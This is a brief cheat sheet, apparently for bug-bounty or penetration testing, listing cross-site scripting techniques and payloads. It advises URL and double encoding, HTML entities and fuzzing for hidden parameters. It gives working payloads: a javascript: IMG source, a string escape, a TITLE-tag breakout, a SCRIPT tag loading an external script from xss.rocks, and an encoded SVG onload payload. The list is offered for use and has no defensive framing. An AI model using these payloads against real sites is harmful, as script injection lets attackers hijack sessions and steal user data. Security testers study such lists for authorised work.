• Xss on error page
• Url encoding, Double url encode, html entities
• Fuzz all parameters
• Find hidden paramters
• If colon is allowed : <IMG SRC=javascript:alert("XSS")>
• escape javascript : \";alert('XSS');//
• Title tag : </TITLE><SCRIPT>alert("XSS");</SCRIPT>
• Bypass : <SCRIPT =">" SRC="httx://xss.rocks/xss.js"></SCRIPT>
• Add random Letters on the end and at the beginning of the payload
• Test all parameter
• Fuzz, use wordlists
• %F0%9F%98%82<%3CsVg/onload%F0%9F%98%82=/svg/onload%3Dsvg/onmouseOver=confirm1><!--%F0%9F%98%82//= (wierd payload but it works)